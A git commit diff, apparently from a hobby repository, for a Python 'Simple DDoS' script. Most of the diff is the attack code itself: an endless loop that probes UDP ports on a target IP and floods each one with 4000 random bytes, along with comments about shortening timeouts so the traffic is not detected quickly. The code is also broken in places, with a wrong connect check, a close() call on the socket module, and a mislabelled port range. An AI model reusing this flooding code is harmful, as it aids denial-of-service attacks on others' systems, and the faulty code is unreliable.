Finish script, needs refactored but runs

This commit is contained in:
Tiffany 2023-11-15 19:53:00 -05:00
parent 9ece63b941
commit 2ded4f6972
3 changed files with 72 additions and 55 deletions

5
__init__.py Normal file
View file

@ -0,0 +1,5 @@
"""Top-level package for Simple DDoS."""
# simple_ddos/__init__.py
__app_name__ = 'simple_ddos'
__version__ = "0.1.0"

19
main.py
View file

@ -1,19 +0,0 @@
#!/usr/bin/python
import argparse
from src import ddos
def main():
parser = argparse.ArgumentParser(description="DDoS Proof of concept")
parser.add_argument('-t', '--target', help="Attack target IP address")
parser.add_argument('-p', '--port', help="Port to attack")
parser.add_argument('-i', '--ipaddress', help="Fake ip address")
args = parser.parse_args(ddos)
if __name__ == "__main__":
main()

View file

@ -1,9 +1,8 @@
import os, sys, socket import sys, socket
import platform
import random import random
from datetime import datetime as dt from datetime import datetime as dt
os.system('figlet Simple DDoS | lolcat') # os.system('figlet Simple DDoS | lolcat')
# TODO: Read docs on time, os, random, threading, and platform # TODO: Read docs on time, os, random, threading, and platform
# TODO: Take questions to Mastodon # TODO: Take questions to Mastodon
@ -20,7 +19,7 @@ W = '\033[0m'
# v1: just create ddos script # v1: just create ddos script
# Instead ofusing SOCK_STREAM for TCP connections # Instead of using SOCK_STREAM for TCP connections
# using SOCK_DGRAM for UDP connections to keep packets small # using SOCK_DGRAM for UDP connections to keep packets small
# If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand # If iterating on this, will use SOCK_STREAM to send bigger packets if I actually understand
# what that means for the network being hit # what that means for the network being hit
@ -38,44 +37,76 @@ W = '\033[0m'
def ddos(target, port): def ddos(target, port):
sent = 0 sent = 0
if len(sys.argv) == 3: if len(sys.argv) != 3:
socket.gethostbyname(sys.argv[1]) # create string from IPv4 to pass as argument to sentto print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
else: print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
print('\n' + R + '[!]' + R + 'Invalid amount of arguments')
print('\n' + 'Syntax: python3 ddos.py <ip> <port>')
print("-" * 25) print("-" * 25)
print("Attacking target:" + target) print(f"Attacking target:{target} on {port}")
print("Time started:" + str(dt.now())) print("Time started:" + str(dt.now()))
else:
socket.gethostbyname(sys.argv[1])
try: try:
# create an infinite loop to continuously send junk data # create an infinite loop to continuously send junk data
# to target ip # to target ip
while True: while True:
# Create a new socket # Create a new socket
# assign socket to s # assign socket to s
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# create a variable that will send 4000 random bytes # Iterate over ports to find the open ones on
# common DNS protocol ports
for port in range(0,445):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes1 = random.randbytes(4000) # Set the timeout for 5 seconds
# bytes2 = random.randbytes(4000)
# system = platform.uname().system
# send 4000 random bytes to the target on port passed as arg # I changed it from 5 seconds to 1
s.sendto(bytes1, (target, port)) # because each iteration over a port should not
sent = sent + 1 # take more than 1 second
# If it did, perhaps it would be detected
# quickly and shutdown
# Break out of infinite loop socket.setdefaulttimeout(1)
except KeyboardInterrupt: # Connect to target and port
print('\n' + R + '[!]' + C + 'Keyboard Interrupt. Terminating session...' + W) # using connect_ex to raise an
# exception instead of just s.connect
except socket.gaierror: # Assign the connection a variable res
print(R + '[-] ' + C + 'Unknown address.') res = s.connect_ex((target, port))
print(R + '[-] ' + C + 'Please input the correct ip address.')
except NameError: if res != 1:
print(R + '[-] ' + C + 'Unknown address.') pass
print(R + '[-] ' + C + 'Please input the correct ip address.') # Check open ports by
#
else:
print(f"Port {port} is open on {target}")
print("Connected")
# create a variable that will send 4000 random bytes
# 4000 bytes is not enough to DDoS a target.
# Will need to test with more.
bytes1: bytes = random.randbytes(4000)
# bytes2 = random.randbytes(4000)
# system = platform.uname().system
# send 4000 random bytes to the target on port passed as arg
s.sendto(bytes1, (target, port))
sent = sent + 1
# Break out of infinite loop
except KeyboardInterrupt:
print('\n' + R + '[!]' + C + 'Terminating Session...' + W)
sys.exit()
except socket.gaierror:
print(R + '[-] ' + C + 'Unknown address.')
print(R + '[-] ' + C + 'Please input the correct ip address.')
sys.exit()
except socket.error:
print(R + '[-] ' + C + "Couldn't connect to server.")
socket.close()